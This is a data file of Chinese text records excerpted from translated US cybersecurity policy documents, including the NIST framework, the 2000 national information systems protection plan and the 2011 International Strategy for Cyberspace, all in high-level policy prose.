    {"text": "网络安全风险管理程序实例包括国际标准化组织（ISO）31000：2009 [3] 、国际标准化组织/国际电工委员会（ISO/IEC）27005：2011 [4] ，美国国家标准与技术研究所（NIST）专业出版（SP）800-39 [5] 、电力子领域网络安全风险管理程序（RMP）指导方针 [6] 。"},
    {"text": "它可以用于帮助识别和优先化降低网络风险的措施，也是调整政策、商业和技术途径以管理相关风险的一种工具。 它可以用于管理整个组织机构内部的网络安全风险，也可以聚焦组织机构内提供的关键服务。"},
    {"text": "框架规范核心的五个功能并不是串行的或者是为了产生一个静态的期望结果，它们可以并行和连续地产生操作方法，以便应对动态的网络安全风险。"},
    {"text": "了解商业环境、支持关键功能的资源、相关联的网络安全风险，可以使组织机构能聚焦和优先化其工作方向，该方向与风险管理策略和商业需求一致。"},
    {"text": "（ 5 ）恢复：建立或提升适当的操作，以便用来保存恢复计划、还原由于网络安全事件所损害的能力或服务。 恢复功能能够提供及时恢复到正常操作的能力，以便减少网络安全事件的影响。"},
    {"text": "（二）框架规范实施层面 框架规范实施层面提供了相应的标准环境，通过对比该标准，组织机构可以识别网络安全风险以及处理程序，以便对风险进行管理。"},
    {"text": "该层面从局部（第一层面）到自适应（第四层面），描述了在网络安全风险管理惯例中严谨性和复杂性逐步增加的程度，网络安全风险管理基于商业需求并将其融合到组织机构中全部风险管理的习惯做法中。"},
    {"text": "组织机构应当确定其所需层面，确保所选水平能够满足组织目标，并且具有实施可行性，从而将关键资产和资源的网络安全风险降低到组织机构可以接受的水平。"},
    {"text": "组织机构应当考虑充分利用联邦政府部门和机构以及信息共享和分析中心（ISAC）颁布的外部指导方针、现有的成熟模型或者可以帮助确定其所需层面的其他资源。"},
    {"text": "（3）外部参与：组织机构了解其依赖关系和合作伙伴，并且从这些合作伙伴那里接收相应的信息用来进行合作，在组织机构内部针对安全事件制定基于风险的管理决策。"},
    {"text": "4.第四层面：自适应 （1）风险管理程序：基于课程学习、从以往和当前的网络安全操作程序中获取的预测指标，组织机构自适应地建立了网络安全实现方案。"},
    {"text": "（2）综合风险管理计划：存在于全组织机构范围内的信息安全风险管理方案，该方案利用风险告知策略、处理流程、规划来应对潜在的信息安全事件。 信息安全风险管理是组织机构文化的一部分，并且通过对以往操作的意识、其他资源共享的信息、对当前系统和网络内连续操作的认识不停进化。 （3）外部参与：组织机构能管理风险，能主动与合作者分享信息以保证发送和读取精确的、最新的信息，从而能在信息安全事件发生前提升信息安全能力。"},
    {"text": "框架规范使组织机构建立一个降低信息安全风险的路线图，该路线图可以很好地实现组织机构和各部门之间目标一致，考虑到法律法规要求和行业内最佳实现方案，以及响应风险管理程序的优先级设置。"},
    {"text": "商业/程序层将这些信息输入风险管理程序中，然后与实施/操作层合作进行商业需求的传输以及创建一个适用标准； 实施/操作层将适用标准执行进展传送到商业/程序层；"},
    {"text": "图2.4 组织机构内部信息和决策流 三、如何使用框架规范 组织机构可以使用该框架规范作为系统程序中的一个重要部分，可以识别、评估、管理信息安全风险。 该框架规范并不是用来取代现有的处理程序，组织机构可以将当前的处理程序覆盖到框架规范中去，以便发现当前信息安全风险处理流程的不足之处和建立一个提升性能的路线图。 利用该框架规范作为信息安全风险管理工具，组织机构可以确定那些对关键服务传送至关重要的操作和优先处理开支以便最大化投资的影响。 该框架规范是对现有的商业和信息安全操作的补充，可以用来创建一个新的信息安全计划或者创建一个可以提升现有计划的策略。 该框架规范将网络安全需求传达给商业伙伴以及顾客，并且有助于识别组织机构的信息安全方案的差距。"},
    {"text": "通过建立一个当前的适用标准，组织机构可以检测它已获得的成果达到了何种程度，这些成果在核心中的分类和子分类中已描述清楚且与五种高级功能（识别、保护、检测、响应、恢复）一致。"},
    {"text": "假如不需要取代风险管理程序，这五个高水平的功能将会为高级管理人员和其他人提供一个简洁的方式来提炼信息安全风险的基本概念，使他们能够评估识别风险的管理方式。"},
    {"text": "（二）制定或者改进信息安全计划 接下来介绍组织机构如何使用框架规范来创建一个新的信息安全计划或者改进已有的计划，这些步骤也许会迭代以提高信息安全。"},
    {"text": "组织机构能对操作环境进行分析，以便得到信息安全事件发生的概率及其对组织机构造成的影响。 对于组织机构来说，将新出现的风险、威胁和脆弱的数据变成易于理解的安全事件发生的概率及影响，这项工作是很重要的。"},
    {"text": "组织机构将当前的适用标准与目标适用标准进行对比以确定差距，接下来，组织机构根据商业驱动、成本/效益分析、对目标适用标准中的输出结果的理解来建立一个优先操作次序。"},
    {"text": "例如： （1）一个组织机构可以利用目标适用标准来表达其信息安全风险管理的需求，并将该需求传递给外界的服务提供商（如一个云计算提供商所导出的数据）。 （2）一个组织机构可以通过当前适用标准来表达其信息安全状态，以便记录下结果或与收集的需求进行对比。"},
    {"text": "（四）在重新建立或修改参考文献时抓住机会 新的或修改的标准、指导方针、惯例可以帮助组织机构找到机遇，而附加的信息参考文献可以帮助组织机构面对新出现的需求。"},
    {"text": "这种方法旨在设定一整套注意事项和程序，因为隐私和公民自由的含义可能因领域和时间的不同而不同，组织机构可以通过更为广泛的技术实施程序来处理这些注意事项和程序。"},
    {"text": "当个人信息被使用、收集、处理、维护或者在信息安全操作时被泄露时，就会产生个人隐私与公众自由的问题。 以下是一些可能需要考虑到个人隐私和公众自由的操作：导致个人信息被过度采集或过度保留的信息安全操作； 与信息安全操作无关的个人信息的泄露和使用；"},
    {"text": "5.响应操作，包含信息共享和其他缓解措施 评估和应对是否、什么时间、以何种方式、多大范围内个人信息被组织机构外界进行共享，该操作为安全信息共享活动的一部分。"},
    {"text": "请参考以下网址：http：//energy.gov/sites/prod/files/Cybersecurity%20Risk%20Management%20Process%20Guideline%20-%20Final%20-%20May%202012.pdf。"},
    {"text": "[7] 在制定框架规范程序中，美国国家标准与技术研究所通过信息要求输入、网络安全框架研讨会和利益相关方参与等方式采集了信息参考文献纲要。"},
    {"text": "第三章 美国网络安全战略译文 战略（计划）篇 信息系统保护国家计划（V1.0） 一、总统的话 在不足一代人的时间内，信息革命和计算机在社会各个层面的引入已经改变了我们的经济运行方式、保障国家安全的方式以及日常生活的组织方式。"},
    {"text": "这个总统令要求行政部门评估国家关键基础设施的计算机的易受攻击性，这些基础设施包括：信息和通信系统、能源部门、银行和金融业、运输业、水利系统、应急服务部门、公共安全，以及负责联邦、州和地方政府职能不间断地运转的领导机构。 该总统令着重强调了要保护政府自身的关键资产免受计算机攻击，同时还强调了对其缺陷进行修正的必要性，目的是使政府成为信息安全的典范。"},
    {"text": "当然联邦政府自身也有重要任务，其中包括：在计算机安全领域内开展研究，培养青年科学家来帮助保护我们的联邦计算机系统，协助民营部门制定其保护信息技术的措施。"},
    {"text": "然而，这是一项我们现在就必须着手启动的重要任务，只有如此，我们才能享用信息时代提供给我们的众多机会，并为下世纪的繁荣和发展建立我们必需的安全基础。"},
    {"text": "（三）解决方案的各个组成部门——首先是经过训练的人员 这个计划将为我们的计算机空间建立防御体系，它依赖的是全新的安全标准、多层次的防卫技术、全新的研究以及对人才的培训。"},
    {"text": "这个即将推出的计划主要依赖于各家公司和组织的投入——这些公司和组织中各种各样的复杂网络正在为美国人民提供着经济福利、健康、保险和安全。"},
    {"text": "以他们的名义，我们把这个计划提供给全国人民以及各位众议员，希望举国努力来完善这一计划，保卫我们的计算机空间，保卫依赖于这个计算机空间的各方力量和我们的人民。"},
    {"text": "理查德·克拉克 安全基础设施保护和反恐怖主义国家协调员 三、执行摘要 （一）介绍 在这个世纪之交，联邦政府和私人业主齐心协力，使得我们平稳过渡到了2000年。"},
    {"text": "为了避免千年虫可能造成的信息系统故障和服务崩溃，我们曾做了广泛的准备工作，现在这些准备工作已经初见成效，关键系统保持了连续运行，没有出现任何重大故障。"},
    {"text": "后续版本将包括PDD63 中所考虑的更为广泛的内容，包括工业界、州及地方政府在保护私人所属的基础设施时（单独或与政府合作）所起的作用，以及对物理基础设施的保护和关键基础设施保护中关于国际事务的思索。"},
    {"text": "关键基础设施是指那些对国家十分重要的物理性和基于计算机的系统和资产，它们一旦受损或者被破坏，将会对国家安全、国家经济安全以及/或者国家公众健康及保健产生破坏性的冲击。"},
    {"text": "PDD63要求国家计划为关键基础设施保护的目标、原则和长期计划制定出优先级次序，在初期阶段，国家计划的重心主要在于当前联邦政府的计算机安全和信息技术需求。"},
    {"text": "（二）威胁 在美国，控制政府和工业关键网络的计算机系统——防卫设施、高压输电线、银行、政府机构、电信系统以及运输系统——每天都会受到成千上万次的攻击尝试。"},
    {"text": "在未来的危机中，犯罪团伙、恐怖分子集团、敌对国家会制造经济破坏、混乱和死亡，并通过攻击这些关键性的网络来降低我们的防卫响应能力。"},
    {"text": "系统防卫性能投入运行后，美国将有能力确保“这些关键功能遭到的任何破坏或操纵被控制在跨时短、频率低、可控、地域上可隔离以及对美国的利益损害最小的规模上”。"},
    {"text": "建立牢固的根基：我们应该为我们的国家培养相关人员、建立相关组织、完善法律和传统惯例，使我们能更好地针对关键信息网络遭到的攻击进行准备、防范以及检测和响应。"},
    {"text": "” 计划1要求政府和民营部门确立关键信息网络的重要资产、互依赖性和脆弱性，然后制定并实施实际可行的方案去修复其脆弱性，同时不断地更新评估和修复工作。 对关键信息系统和计算机网络防卫做准备的第一个必要步骤就是全面评估关键基础设施系统的资产、互依赖性和脆弱性。"},
    {"text": "联邦政府、民营部门和标准制定团体的紧密合作可以制定出更加适用和可接受的指导方针，各组织确认脆弱性时可以此为参考，并对修正脆弱性定出有限级次顺序。"},
    {"text": "详细的资金要求必须由首席基础设施保障官（CIAO）、首席信息官（CIO）和首席财政官（CFO）共同做出，然后由内阁成员或者首席执行官（CEO）和公司董事会采纳。"},
    {"text": "因此总统在 PDD63 中阐述了他的意图：美国将消除那些被“针对我们的关键基础设施——特别是计算机系统的物理和计算机攻击”所利用的弱点。"},
    {"text": "为了重新研究非计算机系统的物理弱点，FBI、DoD和其他机构将评审1995年的工作，在必要的地方对这些工作进行更新，调整FBI的关键资产初步活动（KAI）和国防部（DoD）的关键基础设施保护项目。"},
    {"text": "” 计划2为我们的敏感的计算机系统安装了多层保护，包括先进的防火墙、入侵检测监控器、异常行为识别器、企业级管理系统和恶意代码扫描设备。"},
    {"text": "为了保护关键的联邦系统，计算机安全操作中心[先是在国防部，然后是与其他联邦机构相协调的联邦入侵检测网络（FID Net）]将收到来自这些检测设备的警告，也可以从计算机应急响应小组（Computer Emergency Response Teams，CERT）或其他途径获得攻击警告，用来分析并协助各站点抵御攻击。"},
    {"text": "第四，用来分析操作系统代码和其他软件的技术，以确认是否存在恶意代码（比如逻辑炸弹等）以及其他类似后门的危险代码（不管其初衷是恶意的还是善意的）。"},
    {"text": "为了保护民用机构（非国防部）中的关键联邦系统，国家计划还要求将保护单个政府系统的防卫检测系统和总务管理局的联邦计算机事件响应能力中心（FedCIRC）的中央分析单元联系起来。"},
    {"text": "国防部计算机网络防护联合特别任务中心（JTF-CND）已经建立起来，正在对国防网络进行监视，并可以在遭到入侵/攻击后对功能恢复行动进行协调。"},
    {"text": "国家安全事件响应中心（NSIRC）为JTF-CND、CIDNet 和NIPC 提供专家帮助，协助它们隔离、通知以及解决危害国家安全系统的攻击和非法入侵。 NSIRC 将和 JTF-CND、CIDNet、NIPC一起协调对这些直接危害国家安全系统的攻击和入侵所做的事件报告和对脆弱性的评估。"},
    {"text": "在法律的范围内，当非法行为的某种迹象需要得到NIPC的分析和警告部门的分析支持或者报警通知时，FedCIRC将同NIPC进行协调。 同样，当需要NIPC的计算机调查和执行部门的犯罪调查或国家安全调查时，FedCIRC也将寻求与NIPC的协作。"},
    {"text": "依据第12333号行政令、总检察官指导方针和中央情报局长的指示协议，美国情报机构最应该做的是收集国外信息战能力和意图的信息，这在所有的优先级中排在第一。"},
    {"text": "FBI的国家基础设施保护中心（NIPC）是一个跨机构的保护中心，它使用来自各种资源的信息——包括开放资源、民营部门、执法和美国情报共同体——来提供攻击的早期警报，并通过收集在确定攻击方时必要的信息，对攻击做出部分响应。"},
    {"text": "司法部的计算机犯罪和知识版权处以及美国检察官办公室，都通过计算机电信协调中心项目增加了受过技术训练的公诉官的数量，从而加强了我们对计算机网络犯罪的起诉能力。"},
    {"text": "我们决心做到，对于任何滥用计算机技术的人，不管他们是为了获取非法利益还是怀有其他邪恶目的，也不管他们这样做是为了国家、恐怖主义分子还是犯罪组织，我们一定要找到他们并将其绳之以法。"},
    {"text": "同时，我们还要开发与现有规则和政策相一致的很多其他政策和项目——这些政策和项目将主要关注国内执法部门和国家安全机构在各自的国内外行动中的法定角色。"},
    {"text": "” 1998年2月首次发现针对空军计算机的“Solar Sunrise”攻击时，我们还没有足够的措施和方法了解这些攻击是否也针对其他的国防部系统以及关键联邦网络或者关键民营部门系统。"},
    {"text": "得到了所有这些资源的信息之后，NIPC 和FedCIRC将把这些报告同它们手头的其他信息结合起来，判断出入侵的模式或者那些貌似随机的事件之间的联系。"},
    {"text": "在国防部内部，国家军事指挥中心和JTF-CND将接收、巩固和评估国防部各部门报告，发现国防部内的入侵迹象并将它们报告给 NIPC，发布国防部警告，接收、评估和发布国家警告。"},
    {"text": "有关ISAC和信息共享的白宫会议曾召开过，被PDD63 指派为部门联系地的几个联邦部门也曾主持过几个会议（包括财政部前部长Robert Rubin和能源部部长Bill Richardson主持召开的会议），作为这一系列会议的结果，一些工业组织，包括通信和财政服务组织，已经决定建立 ISAC。"},
    {"text": "很多公司可能希望和政府专家讨论可能的系统脆弱性，但又存在顾虑，因为根据《信息自由法令（FOIA）》，如果它们把信息透露给政府，那么同时可能会被要求把信息向公众透露。"},
    {"text": "表3.4 计划4时间表 续表 新墨西哥州关键基础设施保护委员会 保护关键计算机系统及物理基础设施的全州范围内公私合作的样板 新墨西哥州关键基础设施保护委员会（NMCIAC）是一个私人与公共部门的合作机构，它的建立最初是为了商业团体、工业、教育机构、联邦调查局（FBI）、新墨西哥州政府和其他联邦、州及地方机构之间的信息交换，以确保对新墨西哥州关键基础设施的保护。"},
    {"text": "NMCIAC致力于研究威胁、脆弱性和对策，还针对基础设施攻击、非法系统入侵以及可能影响NMCIAC成员组织和/或普通民众的那些因素所采取的各种响应进行研究。"},
    {"text": "这些工作组依据不同的关键基础设施领域来定义：信息和通信，公用事业（天然气、石油、电力和水供应），银行和金融，运输，紧急事务管理，紧急情况和政府服务，信息共享和分析中心，管理和操作。"},
    {"text": "信息共享和分析中心能为工业界做什么 国家计划号召工业协会或集团建立工业范围内的计算机安全中心，称为信息共享和分析中心，这些中心将做到： ● 在各公司间就脆弱性、企图的攻击和非法入侵的性质做到信息共享，这些信息可以被中心“过滤”以防止人们知道是哪个特定公司遇到了计算机事件；"},
    {"text": "政府怎样帮助信息共享和分析中心 国家号召政府通过如下措施对信息共享和分析中心进行协助： ● 提供重要攻击的实时数据，对网络面临的威胁进行战略性评估，提供攻击技术的信息，提供脆弱性信息；"},
    {"text": "一旦一个大范围内的攻击得到确定，中心将与执法部门和其他机构协同工作，对攻击做出响应，包括向系统管理员建议执行一系列计划措施： ● 阻断可疑用户进入网络的通路；"},
    {"text": "我们鼓励民营部门和执法部门之间关于攻击响应行动多做协商，以免民营部门的行动对入侵调查造成不必要的阻碍，防止抹掉入侵者的属性特征甚至延误对入侵者的起诉。"},
    {"text": "政府的目标以及我们对工业界的建议是，每一个关键性信息系统都要准备响应计划，这些计划中要包括如下响应行动所做的准备：迅速启用其他的防御措施（比如，更为严格的防火墙要求）；"},
    {"text": "商业部跨机构的基础设施保障办公室（CIAO）将发起一次有保险业和审计业参加的白宫会议，并同它们开展持续的对话，以促进对风险管理、操作建议以及衡量标准的理解。"},
    {"text": "CICG的R&D子工作组在1999—2000年发起的一系列会议 CIGG的R&D（研发）子工作组正在发起很多讨论组来研究那些受关注的、横向的研发主题： ● 入侵、恶意代码和异常行为检测（1999年2月22～23日）；"},
    {"text": "” 计划7概览了联邦和全国范围内信息安全专家的数目和所需的技术，采取了措施来训练现有的联邦IT雇员，并征募和教育其他人员来弥补这种人才的缺口。"},
    {"text": "尤其是信息系统安全人员这一子集更加缺乏。 在联邦政府内部，熟练的信息系统安全人员的缺乏也发展成了一种危机。 雇员的匮乏反映了大学研究生和本科生的信息安全课程实在太少。"},
    {"text": "到目前为止，还没有“电子珍珠港事件”来唤起公众对行动必要性的认识，也没有太多的美国人认识到我们的经济和国家安全对计算机和信息系统的依赖程度——这些系统的功能通常被日常生活屏蔽掉了。"},
    {"text": "为了推动民营部门信息共享和分析中心（ISAC）的建设并促进民营部门和政府间的信息共享，在设计同民营部门共享信息的事务时，我们必须有能力保护敏感信息并缓解潜在的责任和反垄断法问题。"},
    {"text": "这份国家计划要求每年召开一次关于计算机安全、公民自由和公民权利的政府与民间的讨论会，以保证国家计划的执行者始终关注公民的自由，并且其计算机安全提议要得到政府内外的民权专家和感兴趣者的讨论。"},
    {"text": "国家基础设施保障委员会（NIAC）由来自联邦政府之外的参与者组成，它将每年对计划执行中有关公民自由、隐私权、私有数据保护的情况进行审查。"},
    {"text": "美国政府已经开始与民营部门合作，为隐私保护制定强制性规则，以确保互联网用户已被明确告知他们的哪些个人信息被他人收集以及这些信息可能的用途。"},
    {"text": "表3.9 计划10时间表 网络空间国际战略 一、序言 网络空间及网络技术使不同国籍、种族、信仰和观点的人得以交流、协作并取得前所未有的成功。"},
    {"text": "当数字世界面临罪恶和入侵威胁时，我们将高度重视以下原则：言论和结社自由、珍视个人隐私和信息的自由流动。 数字世界将不再是一个没有法律约束的疆域，也不再是少数精英的地盘，而应是一个国家和民众共同坚守责任、正义与和平规范的领域。"},
    {"text": "鉴于网络技术能够继续赋予个人能力、使社会更加富裕，并推动研究、发展、创新等构建现代经济发展的重要因素，网络技术必须保持开放性和互通性，这也是网络技术实现爆炸式发展的重要原因。"},
    {"text": "要使一个开放、互通、安全和可靠的未来网络空间永远存在，世界各国就必须意识到其面临的威胁，捍卫其安全，并与那些试图动摇或破坏我们日益网络化的世界的人展开斗争。"},
    {"text": "对个人来说，计算机网络已经提升了生产力，促进了经济繁荣，帮助解决了各类缺陷和不足，融合了因语言或疾病而造成的隔离，并使身处偏远贫瘠地区的家庭和亲友建立联系。"},
    {"text": "对社区来说，它提升了应对突发事件的能力，扩大了信息共享以打击犯罪，曝光了腐败行为，为政治活动提供了便利条件，加强了对被忽视议题的关注。"},
    {"text": "我们的政策是既要确保网络空间的有效利用，又要捍卫我们的原则。 我们的国际网络空间政策反映了我们对基本自由、个人隐私和信息自由流通的核心承诺。"},
    {"text": "随着民众越来越多地通过互联网参与公共及个人生活，他们对隐私的保护也有更多的期望，即个人应当知晓其个人信息如何被使用，并确信其得到合理的处置。"},
    {"text": "同样，他们也期望受到保护以免受诈骗、偷窃和危及其个人安全的威胁，希望执法部门利用各种手段和措施，根据法律追查和起诉那些恶意利用网络的用户。"},
    {"text": "相反，我们认为其他措施——如国家级的过滤网和防火墙——仅仅是提供了一种虚幻的安全，同时还损害了互联网这一开放、互通、安全和可靠的信息交换媒介。"},
    {"text": "在商业领域也同样如此，网络必须确保成为一种鼓励创新、进取和勤奋精神的平台，而不是某些国家通过蓄意阻断信息的自由流通来获取不公平优势的领域。"},
    {"text": "通过尊重法律和捍卫民众利益、稳定国际市场并使全球的恶意网络行为者受到惩罚，法治既支持和维护了我们的国家安全，也促进了我们共同的价值观。"},
    {"text": "如果发生网络安全事故，需要政府采取行动，有关官员能及早发现这些威胁，并在第一时间共享有关信息，以阻止恶意软件的传播并最大限度降低大规模混乱的影响。"},
    {"text": "在这一场景下，国家要成为网络空间中负责任的行动者——要么以不损害他人的方式构建网络，要么阻止犯罪分子把互联网作为安全天堂，进行违法活动。"},
    {"text": "（一）我们追求的未来 我们追求的网络空间环境将具备以下功能：鼓励创新、赋予个人相应权利、将个人联系在一起、强化社区的作用、构建更好的政府并提高其可信度、保护基本的自由与个人隐私、增进相互理解、明确行为准则以及提升国家与国际安全。"},
    {"text": "随着各个公司继续在研发专利软件方面推动创新，我们也欢迎对开源软件进行持续和高强度的研发，从而给予开发商和消费者更多选择，以有效满足其需求。"},
    {"text": "3.通过规则实现稳定 美国将与“志同道合”的国家一起，努力建立一个人们所期望的环境或者相关行为准则，这种环境或准则将符合我们的外交与国防政策并能指导我们的国际伙伴关系。"},
    {"text": "过去20 年见证了互联网作为一种社会媒体呈现出快速和无法预料的增长，见证了社会日益依赖通过网络信息系统控制对现代生活至关重要的关键基础设施和通信设施，见证了各国政府逐步通过网络空间行使传统国家权力。"},
    {"text": "由于互联网的核心功能有赖于信任体系（如“边界网关协议”），各国应对自身技术决策可能造成的国际影响保持清醒认识，并相互尊重网络权益。"},
    {"text": "同样，在设计新一代网络系统的过程中，我们必须通过支持最合理的技术标准和管理架构来促进共同利益，而不是反其道而行之，仅仅以提升本国声望或加强自身政治掌控能力为出发点。"},
    {"text": "随着相关理念的发展，美国将致力于培育和全面参与相关讨论，推动互联网政策的合理制定，并促进各国在诸多事务上的共同理解。 （二）未来美国在网络空间中的角色 为实现这一愿景和推动良好规范的形成，美国将综合运用外交、国防和发展手段，以促进繁荣、提升安全、增加开放，使所有国家共同从网络技术发展中受益。"},
    {"text": "1.外交：加强伙伴关系 将和平与安全的原则推广到网络空间——同时维护网络的优点及特性——要求我们加强伙伴关系并扩大努力范围。 我们将积极与国际社会开展坦率和必要的对话，就网络空间负责任行为的原则和有必要采取的行动等问题，形成国内、国际共识，以建立一个稳定的网络体系。"},
    {"text": "从最终用户、民营硬件和软件销售部门、网络服务提供商，到地区性、多边性和包含众多利益攸关者的组织，都可能在网络功能开发方面扮演重要角色。"},
    {"text": "美国对相关国际努力保持敬意，并将继续重视有关论坛的特殊作用，这些论坛通过接纳民营部门、民间团体、学术机构以及政府成员，体现出有众多利益攸关者参与的特点，切实代表了整个互联网社会。"},
    {"text": "与民营部门开展合作。 虽然民营部门已经在国际性组织和包含众多利益攸关者的组织中扮演重要角色，但我们仍有必要进一步充分扩大已有合作机制，将更多产业部门纳为伙伴。"},
    {"text": "尤为重要的是，我们应与基础设施产权拥有者及运营商——它们肩负确保网络正常运行的主要职责——紧密合作，以拓展努力范围，确保网络生态系统安全，保持网络空间的优点及特质，消除不必要的技术发展障碍，并将和平与安全原则推广至网络空间。"},
    {"text": "针对那些确实造成破坏的更为复杂的攻击，我们将依据周密的反应计划采取行动，隔离和削弱对我们机器的干扰，限制对我们网络的影响及潜在的后续影响。"},
    {"text": "今天，通过技术和军事防御领域现有和发展中的协作关系，有关国家共享的识别和应对事件的能力达到了前所未有的程度——这关键的一步，将使潜在的攻击方无法获取对我们国家网络和国际网络施加持续性危害的能力。"},
    {"text": "针对那些可能威胁我们国家安全和经济安全的犯罪分子及其他非国家行为体，国内方面要求各国具备相关程序调查、逮捕和起诉非法入侵或扰乱国内外网络的人员。"},
    {"text": "在国际方面，各国执法部门要尽可能相互协作，对容易丢失且对当前调查起关键作用的数据进行固化处理，并与各国立法和司法部门合作，协调这些部门的手段运用，以推进应有的程序和法治——这些都是《布达佩斯惩治网络犯罪公约》的主要准则。"},
    {"text": "一个开放、互通、安全和可靠的网络空间应惠及更多的人，作为世界领先的信息经济体，美国正致力于确保其他国家能从我们的技术资源和能力中获益。"},
    {"text": "我们的国家能够而且将会在提供建设和保护新的和现有数字系统所需的知识和能力方面发挥积极作用，并且在此过程中，在国家间达成共识以负责任的利益攸关者方式行事。"},
    {"text": "网络安全能力的很大部分将来自民营部门的投资，美国将与各国政府和企业一道，营造有利于协作的环境，并利用这些协作解决各国核心的发展需求。"},
    {"text": "我们认识到网络安全是一个必须由所有国家共同努力加以解决的全球性议题，因此我们将扩展和规范那些着眼于网络安全能力建设的计划，将其关注点更多集中在培育感知能力、提供法律和技术培训，以及支持政策发展方面。 此类计划必须超越纯技术范畴，我们将与有关国家合作，使其充分认识到网络安全挑战的广度，帮助这些国家发展自身战略，并建立涵盖整个领域的能力——从网络安全和组建计算机应急战略工作组，到国际执法和防务合作，以及与国内、国际民营部门及公民社会发展建设性的关系。"},
    {"text": "在网络空间议题上，各国已成为利益攸关方，我们希望对话能够日益成熟，从能力建设，到在双方共同关注的领域开展积极的经济、技术、执法、防务与外交合作。"},
    {"text": "我们的做法以本文阐述的基本原则为指导，以文中提出的总体目标为动力，并依据其概述的政策而行动——它们共同形成美国网络空间国际战略的基础。"},
    {"text": "本文提出的政策重点要求采取这些具体行动并对其提供指导，着重强调过去、当前及未来需要关注的重点领域，这些领域需要在国家层面予以共同的关注并投入资源。"},
    {"text": "维护有助于对可靠、互通的网络进行技术革新的自由贸易环境。 正如信息的自由流动对网络运行至关重要，自由贸易有助于信息时代的技术革新与市场增长。"},
    {"text": "推动在双边及多边组织和多国合作伙伴关系框架下的网络合作，特别是在各国网络安全行为准则方面的合作。 越来越多的国际组织正在从事网络安全活动和其他网络空间事务，美国政府将继续推动这项重要工作，建立涉及这些组织的网络空间，满足不同成员国的需求。 我们努力在以下多边框架内开展网络合作活动：美洲国家组织、东盟地区论坛、亚太经合组织、欧安组织、非盟、经济合作与发展组织、八国集团、欧盟、联合国和欧洲委员会等，并努力确保这种网络活动得到有效的机制框架的支持。 美国政府将继续通过这些组织和其他平台，加强对于关键网络空间活动，包括有关行为准则的地区与国际共识。"},
    {"text": "美国政府各部门正与民营部门合作，保护技术创新免受工业间谍的侵害，保护联邦、州和地方政府网络，保护军事行动免于不利的作战环境，保护关键性基础设施不受网络侵入和攻击，特别是防止对能源、交通、金融系统和国防工业基地的入侵和攻击。"},
    {"text": "美国将努力达成广泛的国际共识，使各方认可尊重知识产权和网络稳定的重要性，并与我们的伙伴共同支持这一信念，保护我们的网络不受侵犯。"},
    {"text": "在致力于建立并增强我们反应能力的同时，我们将继续与其他国家合作，拓展有利于增强全球态势感知能力和事件应急反应能力的国际网络，包括建立政府与工业间的网络。"},
    {"text": "美国承诺积极参与旨在制定打击网络犯罪政策的国际准则与措施的双边与多边讨论，参加那些专业性得到证明、在有效推动制定打击网络犯罪政策方面具有实践经验的论坛。"},
    {"text": "国家执法机构与富有成果的政策对话之间，已成功建立伙伴关系并使我们受益，在此基础上，美国将开展工作，努力在加入上述机制的国家中培育责任感。"},
    {"text": "美国将继续鼓励其他国家成为会议成员国，并将帮助当前的非会议成员国以会议（章程）作为其自身法律的基础，在短期内减轻双边合作的压力，为成为会议成员国做长期准备。"},
    {"text": "网络空间法律将集中打击非法活动，而非限制接入互联网。 对网络空间的犯罪行为，应当实施有效的执法，而不是制定政策禁止合法接入互联网或限制互联网上的内容。"},
    {"text": "为达成这一目标，美国政府通过双边和多边合作，确保这些国家认识到针对网上犯罪的努力应集中于防止、抓捕和惩罚犯罪分子，而不是泛泛地限制接入互联网，以免连累无辜的互联网用户。 当美国及其伙伴进行对话并在世界范围内协助执法机构建设上述能力时，我们将协调这一方法，共同保护个人隐私和基本自由，创新合作以打击网络犯罪。"},
    {"text": "在对付网络犯罪方面，美国拥有多种国际能力建设和训练项目，帮助执法与立法者建立有效的法律框架机制和培养专业人才，以调查和起诉恐怖分子及其他犯罪分子对互联网的滥用。 对国际社会而言，阻止恐怖分子通过“雇用黑客”和使用有组织的犯罪工具来增强犯罪能力是最重要的内容，同样需要有效的网络犯罪法律。"},
    {"text": "理解并适应军队对可靠与安全网络与日俱增的需求。 我们认识到，我们的军队越来越依赖向其提供支援的网络，我们将努力确保军队使用精良的装备作战。 即使在一个其他国家可能企图毁坏我们的军队网络系统或毁坏其他对国防至关重要的基础设施的环境中，我们也将努力确保其拥有精良的装备。"},
    {"text": "美国未来将继续与盟友的军队和地方部门一道，增强我们的态势感知和预警情报的共享能力，提高危机与平时的协作水平，发展网络空间的集体自卫手段。"},
    {"text": "保持包括网络域名系统在内的全球网络空间的安全与稳定。 考虑到网络对于世界经济的重要性，维持包括网络域名系统在内的全球网络空间稳定与安全非常必要。 为确保这种稳定与安全的连续性，我们应与世界各国，特别是相关组织和网络技术专家一起，继续重视各利益攸关方在该领域发挥的重要作用。"},
    {"text": "互联网的框架结构鼓励自由创新，并由此促进经济增长。 互联网还鼓励言论自由和结社自由，以促进社会、政治发展，并使世界各民主社会表现出生机与活力。"},
    {"text": "（六）发展国际合作：提高能力，确保安全，促进繁荣 为促进全球网络技术的快速发展，加强网络运行的可靠性，构建网络空间各利益攸关方的责任机制，我们将采取以下措施。"},
    {"text": "鉴于需求较多且种类繁杂，我们的援助项目包括：支援事故管理能力，建立政府与免检伙伴关系，加强控制系统安全，制订调查和起诉网络犯罪的法律草案，制订并实施网络安全认知计划，建设国家网络安全文化。"},
    {"text": "由于涉及计算机网络的犯罪案件经常牵涉国外取证和目标认定，各国政府在遇到各种严重犯罪和国家安全问题时，经常需要相互帮助，提供各种技术并协助调查。"},
    {"text": "公开谴责通过骚扰、非法逮捕、威胁或使用暴力等行为来反对利用这些技术的人，上述行为阻碍了其他人利用新技术报道消息、组织活动和交换观点。"},
    {"text": "这种保护必须同样适用于互联网运营商和其他提供接入服务的商业机构，它们经常沦为受害者，因为一些政权往往会将审查合法言论的职能赋予企业。"},
    {"text": "与公民社会和非政府组织合作，建立安全措施，保护网络活动免受非法侵扰。 保护公民社会和非政府组织的网络安全，可帮助确保数字时代享有更广泛的言论和结社自由。"},
    {"text": "网络用户应相信，他们通过网络发送的信息在世界任何地方接收时仍能保持原意。 同样重要的是，他们应相信，不管这些数据来自哪个国家、目的地又是何处，都将在网络上自由流通。"},
    {"text": "确保信息在网络中流通时的完整性，将使用户对网络充满信心，并可保持网络的开放性，使其成为一个推动全球经济增长创新、鼓励世界各国人民自由交流的可信平台。"},
    {"text": "本战略是一个路线图，它使美国政府各部门和机构可以更好地界定和协调其在我们的国际网络空间政策中的角色，按照特定的路线前进，并对未来如何贯彻该战略进行规划。"},
